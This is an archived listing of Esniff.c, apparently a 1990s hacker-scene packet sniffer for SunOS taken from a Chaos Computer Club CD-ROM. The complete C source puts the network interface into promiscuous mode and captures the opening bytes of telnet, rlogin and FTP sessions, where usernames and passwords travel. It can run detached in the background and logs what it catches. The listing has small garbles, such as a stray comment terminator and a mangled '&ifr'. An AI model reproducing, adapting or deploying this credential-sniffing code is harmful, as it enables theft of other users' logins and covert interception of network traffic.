home *** CD-ROM | disk | FTP | other *** search
/ Chaos Computer Club 1997 February / cccd_beta_feb_97.iso / contrib / faq / 2600 / esniff.c < prev    next >
Encoding:
C/C++ Source or Header  |  1997-02-28  |  12.2 KB  |  513 lines

  1. /* Esniff.c */
  2.  
  3. #include <stdio.h>
  4. #include <ctype.h>
  5. #include <string.h>
  6.  
  7. #include <sys/time.h>
  8. #include <sys/file.h>
  9. #include <sys/stropts.h>
  10. #include <sys/signal.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <sys/ioctl.h>
  14.  
  15. #include <net/if.h>
  16. #include <net/nit_if.h>
  17. #include <net/nit_buf.h>
  18. #include <net/if_arp.h>
  19.  
  20. #include <netinet/in.h>
  21. #include <netinet/if_ether.h>
  22. #include <netinet/in_systm.h>
  23. #include <netinet/ip.h>
  24. #include <netinet/udp.h>
  25. #include <netinet/ip_var.h>
  26. #include <netinet/udp_var.h>
  27. #include <netinet/in_systm.h>
  28. #include <netinet/tcp.h>
  29. #include <netinet/ip_icmp.h>
  30.  
  31. #include <netdb.h>
  32. #include <arpa/inet.h>
  33.  
  34. #define ERR stderr
  35.  
  36. char    *malloc();
  37. char    *device,
  38.         *ProgName,
  39.         *LogName;
  40. FILE    *LOG;
  41. int     debug=0;
  42.  
  43. #define NIT_DEV     "/dev/nit"
  44. #define CHUNKSIZE   4096        /* device buffer size */
  45. int     if_fd = -1;
  46. int     Packet[CHUNKSIZE+32];
  47.  
  48. void Pexit(err,msg)
  49. int err; char *msg;
  50. { perror(msg);
  51.   exit(err); }
  52.  
  53. void Zexit(err,msg)
  54. int err; char *msg;
  55. { fprintf(ERR,msg);
  56.   exit(err); }
  57.  
  58. #define IP          ((struct ip *)Packet)
  59. #define IP_OFFSET   (0x1FFF)
  60. #define SZETH       (sizeof(struct ether_header))
  61. #define IPLEN       (ntohs(ip->ip_len))
  62. #define IPHLEN      (ip->ip_hl)
  63. #define TCPOFF      (tcph->th_off)
  64. #define IPS         (ip->ip_src)
  65. #define IPD         (ip->ip_dst)
  66. #define TCPS        (tcph->th_sport)
  67. #define TCPD        (tcph->th_dport)
  68. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  69.  
  70. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  71.  
  72. #define MAXBUFLEN  (128)
  73. time_t  LastTIME = 0;
  74.  
  75. struct CREC {
  76.      struct CREC *Next,
  77.                  *Last;
  78.      time_t  Time;              /* start time */
  79.      struct in_addr SRCip,
  80.                     DSTip;
  81.      u_int   SRCport,           /* src/dst ports */
  82.              DSTport;
  83.      u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  84.      u_int   Length;            /* current data length */
  85.      u_int   PKcnt;             /* # pkts */
  86.      u_long  LASTseq;
  87. };
  88.  
  89. struct CREC *CLroot = NULL;
  90.  
  91. char *Symaddr(ip)
  92. register struct in_addr ip;
  93. { register struct hostent *he =
  94.       gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  95.  
  96.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  97. }
  98.  
  99. char *TCPflags(flgs)
  100. register u_char flgs;
  101. { static char iobuf[8];
  102. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  103.  
  104.   SFL(0,TH_FIN, 'F');
  105.   SFL(1,TH_SYN, 'S');
  106.   SFL(2,TH_RST, 'R');
  107.   SFL(3,TH_PUSH,'P');
  108.   SFL(4,TH_ACK, 'A');
  109.   SFL(5,TH_URG, 'U');
  110.   iobuf[6]=0;
  111.   return(iobuf);
  112. }
  113.  
  114. char *SERVp(port)
  115. register u_int port;
  116. { static char buf[10];
  117.   register char *p;
  118.  
  119.    switch(port) {
  120.      case IPPORT_LOGINSERVER: p="rlogin"; break;
  121.      case IPPORT_TELNET:      p="telnet"; break;
  122.      case IPPORT_SMTP:        p="smtp"; break;
  123.      case IPPORT_FTP:         p="ftp"; break;
  124.      default: sprintf(buf,"%u",port); p=buf; break;
  125.    }
  126.    return(p);
  127. }
  128.  
  129. char *Ptm(t)
  130. register time_t *t;
  131. { register char *p = ctime(t);
  132.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  133.   return(p);
  134. }
  135.  
  136. char *NOWtm()
  137. { time_t tm;
  138.   time(&tm);
  139.   return( Ptm(&tm) );
  140. }
  141.  
  142. #define MAX(a,b) (((a)>(b))?(a):(b))
  143. #define MIN(a,b) (((a)<(b))?(a):(b))
  144.  
  145. /* add an item */
  146. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  147.   register struct CREC *CLtmp = \
  148.         (struct CREC *)malloc(sizeof(struct CREC)); \
  149.   time( &(CLtmp->Time) ); \
  150.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  151.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  152.   CLtmp->SRCport = SPORT; \
  153.   CLtmp->DSTport = DPORT; \
  154.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  155.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  156.   CLtmp->PKcnt = 1; \
  157.   CLtmp->Next = CLroot; \
  158.   CLtmp->Last = NULL; \
  159.   CLroot = CLtmp; \
  160. }
  161.  
  162. register struct CREC *GET_NODE(Sip,SP,Dip,DP)
  163. register struct in_addr Sip,Dip;
  164. register u_int SP,DP;
  165. { register struct CREC *CLr = CLroot;
  166.  
  167.   while(CLr != NULL) {
  168.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  169.         IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  170.             break;
  171.     CLr = CLr->Next;
  172.   }
  173.   return(CLr);
  174. }
  175.  
  176. #define ADDDATA_NODE(CL,DATA,LEN) { \
  177.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  178.  CL->Length += LEN; \
  179. }
  180.  
  181. #define PR_DATA(dp,ln) {    \
  182.   register u_char lastc=0; \
  183.   while(ln-- >0) { \
  184.      if(*dp < 32) {  \
  185.         switch(*dp) { \
  186.             case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
  187.                         break; \
  188.             case '\r': \
  189.             case '\n': fprintf(LOG,"\n     : "); \
  190.                         break; \
  191.             default  : fprintf(LOG,"^%c", (*dp + 64)); \
  192.                         break; \
  193.         } \
  194.      } else { \
  195.         if(isprint(*dp)) fputc(*dp,LOG); \
  196.         else fprintf(LOG,"(%d)",*dp); \
  197.      } \
  198.      lastc = *dp++; \
  199.   } \
  200.   fflush(LOG); \
  201. }
  202.  
  203. void END_NODE(CLe,d,dl,msg)
  204. register struct CREC *CLe;
  205. register u_char *d;
  206. register int dl;
  207. register char *msg;
  208. {
  209.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  210.    fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  211.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  212.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  213.                         NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  214.    fprintf(LOG," DATA: ");
  215.     { register u_int i = CLe->Length;
  216.       register u_char *p = CLe->Data;
  217.       PR_DATA(p,i);
  218.       PR_DATA(d,dl);
  219.     }
  220.  
  221.    fprintf(LOG,"\n-- \n");
  222.    fflush(LOG);
  223.  
  224.    if(CLe->Next != NULL)
  225.     CLe->Next->Last = CLe->Last;
  226.    if(CLe->Last != NULL)
  227.     CLe->Last->Next = CLe->Next;
  228.    else
  229.     CLroot = CLe->Next;
  230.    free(CLe);
  231. }
  232.  
  233. /* 30 mins (x 60 seconds) */
  234. #define IDLE_TIMEOUT 1800
  235. #define IDLE_NODE() { \
  236.   time_t tm; \
  237.   time(&tm); \
  238.   if(LastTIME<tm) { \
  239.      register struct CREC *CLe,*CLt = CLroot; \
  240.      LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
  241.      while(CLe=CLt) { \
  242.        CLt=CLe->Next; \
  243.        if(CLe->Time <tm) \
  244.            END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
  245.      } \
  246.   } \
  247. }
  248.  
  249. void filter(cp, pktlen)
  250. register char *cp;
  251. register u_int pktlen;
  252. {
  253.  register struct ip     *ip;
  254.  register struct tcphdr *tcph;
  255.  
  256.  { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
  257.  
  258.    if(EtherType < 0x600) {
  259.      EtherType = *(u_short *)(cp + SZETH + 6);
  260.      cp+=8; pktlen-=8;
  261.    }
  262.  
  263.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  264.       return;
  265.  }
  266.  
  267.     /* ugh, gotta do an alignment :-( */
  268.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  269.  
  270.  ip = (struct ip *)Packet;
  271.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  272.     return;
  273.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  274.  
  275.  if(!( (TCPD == IPPORT_TELNET) ||
  276.        (TCPD == IPPORT_LOGINSERVER) ||
  277.        (TCPD == IPPORT_FTP)
  278.    )) return;
  279.  
  280.  { register struct CREC *CLm;
  281.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  282.    register u_char *p = (u_char *)Packet;
  283.  
  284.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  285.  
  286.  if(debug) {
  287.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  288.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  289.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  290.  }
  291.  
  292.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  293.  
  294.       CLm->PKcnt++;
  295.  
  296.       if(length>0)
  297.         if( (CLm->Length + length) < MAXBUFLEN ) {
  298.           ADDDATA_NODE( CLm, p,length);
  299.         } else {
  300.           END_NODE( CLm, p,length, "DATA LIMIT");
  301.         }
  302.  
  303.       if(TCPFL(TH_FIN|TH_RST)) {
  304.           END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  305.       }
  306.  
  307.    } else {
  308.  
  309.       if(TCPFL(TH_SYN)) {
  310.          ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  311.       }
  312.  
  313.    }
  314.  
  315.    IDLE_NODE();
  316.  
  317.  }
  318.  
  319. }
  320.  
  321. /* signal handler
  322.  */
  323. void death()
  324. { register struct CREC *CLe;
  325.  
  326.     while(CLe=CLroot)
  327.         END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  328.  
  329.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  330.     fflush(LOG);
  331.     if(LOG != stdout)
  332.         fclose(LOG);
  333.     exit(1);
  334. }
  335.  
  336. /* opens network interface, performs ioctls and reads from it,
  337.  * passing data to filter function
  338.  */
  339. void do_it()
  340. {
  341.     int cc;
  342.     char *buf;
  343.     u_short sp_ts_len;
  344.  
  345.     if(!(buf=malloc(CHUNKSIZE)))
  346.         Pexit(1,"Eth: malloc");
  347.  
  348. /* this /dev/nit initialization code pinched from etherfind */
  349.   {
  350.     struct strioctl si;
  351.     struct ifreq    ifr;
  352.     struct timeval  timeout;
  353.     u_int  chunksize = CHUNKSIZE;
  354.     u_long if_flags  = NI_PROMISC;
  355.  
  356.     if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  357.         Pexit(1,"Eth: nit open");
  358.  
  359.     if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
  360.         Pexit(1,"Eth: ioctl (I_SRDOPT)");
  361.  
  362.     si.ic_timout = INFTIM;
  363.  
  364.     if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
  365.         Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
  366.  
  367.     timeout.tv_sec = 1;
  368.     timeout.tv_usec = 0;
  369.     si.ic_cmd = NIOCSTIME;
  370.     si.ic_len = sizeof(timeout);
  371.     si.ic_dp  = (char *)&timeout;
  372.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  373.         Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
  374.  
  375.     si.ic_cmd = NIOCSCHUNK;
  376.     si.ic_len = sizeof(chunksize);
  377.     si.ic_dp  = (char *)&chunksize;
  378.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  379.         Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
  380.  
  381.     strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
  382.     ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
  383.     si.ic_cmd = NIOCBIND;
  384.     si.ic_len = sizeof(ifr);
  385.     si.ic_dp  = (char *)𝔦
  386.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  387.         Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
  388.  
  389.     si.ic_cmd = NIOCSFLAGS;
  390.     si.ic_len = sizeof(if_flags);
  391.     si.ic_dp  = (char *)&if_flags;
  392.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  393.         Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
  394.  
  395.     if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
  396.         Pexit(1,"Eth: ioctl (I_FLUSH)");
  397.   }
  398.  
  399.     while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  400.         register char *bp = buf,
  401.                       *bufstop = (buf + cc);
  402.  
  403.         while (bp < bufstop) {
  404.             register char *cp = bp;
  405.             register struct nit_bufhdr *hdrp;
  406.  
  407.             hdrp = (struct nit_bufhdr *)cp;
  408.             cp += sizeof(struct nit_bufhdr);
  409.             bp += hdrp->nhb_totlen;
  410.             filter(cp, (u_long)hdrp->nhb_msglen);
  411.         }
  412.     }
  413.     Pexit((-1),"Eth: read");
  414. }
  415.  /* Authorize your proogie,generate your own password and uncomment here */
  416. /* #define AUTHPASSWD "EloiZgZejWyms" */
  417.  
  418. void getauth()
  419. { char *buf,*getpass(),*crypt();
  420.   char pwd[21],prmpt[81];
  421.  
  422.     strcpy(pwd,AUTHPASSWD);
  423.     sprintf(prmpt,"(%s)UP? ",ProgName);
  424.     buf=getpass(prmpt);
  425.     if(strcmp(pwd,crypt(buf,pwd)))
  426.         exit(1);
  427. }
  428.     */
  429. void main(argc, argv)
  430. int argc;
  431. char **argv;
  432. {
  433.     char   cbuf[BUFSIZ];
  434.     struct ifconf ifc;
  435.     int    s,
  436.            ac=1,
  437.            backg=0;
  438.  
  439.     ProgName=argv[0];
  440.  
  441.  /*     getauth(); */
  442.  
  443.     LOG=NULL;
  444.     device=NULL;
  445.     while((ac<argc) && (argv[ac][0] == '-')) {
  446.        register char ch = argv[ac++][1];
  447.        switch(toupper(ch)) {
  448.             case 'I': device=argv[ac++];
  449.                       break;
  450.             case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
  451.                          Zexit(1,"Output file cant be opened\n");
  452.                       break;
  453.             case 'B': backg=1;
  454.                       break;
  455.             case 'D': debug=1;
  456.                       break;
  457.             default : fprintf(ERR,
  458.                         "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
  459.                             ProgName);
  460.                       exit(1);
  461.        }
  462.     }
  463.  
  464.     if(!device) {
  465.         if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  466.             Pexit(1,"Eth: socket");
  467.  
  468.         ifc.ifc_len = sizeof(cbuf);
  469.         ifc.ifc_buf = cbuf;
  470.         if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
  471.             Pexit(1,"Eth: ioctl");
  472.  
  473.         close(s);
  474.         device = ifc.ifc_req->ifr_name;
  475.     }
  476.  
  477.     fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  478.     fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
  479.             (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
  480.  
  481.     if(!LOG)
  482.         LOG=stdout;
  483.  
  484.     signal(SIGINT, death);
  485.     signal(SIGTERM,death);
  486.     signal(SIGKILL,death);
  487.     signal(SIGQUIT,death);
  488.  
  489.     if(backg && debug) {
  490.          fprintf(ERR,"[Cannot bg with debug on]\n");
  491.          backg=0;
  492.     }
  493.  
  494.     if(backg) {
  495.         register int s;
  496.  
  497.         if((s=fork())>0) {
  498.            fprintf(ERR,"[pid %d]\n",s);
  499.            exit(0);
  500.         } else if(s<0)
  501.            Pexit(1,"fork");
  502.  
  503.         if( (s=open("/dev/tty",O_RDWR))>0 ) {
  504.                 ioctl(s,TIOCNOTTY,(char *)NULL);
  505.                 close(s);
  506.         }
  507.     }
  508.     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  509.     fflush(LOG);
  510.  
  511.     do_it();
  512. }
  513.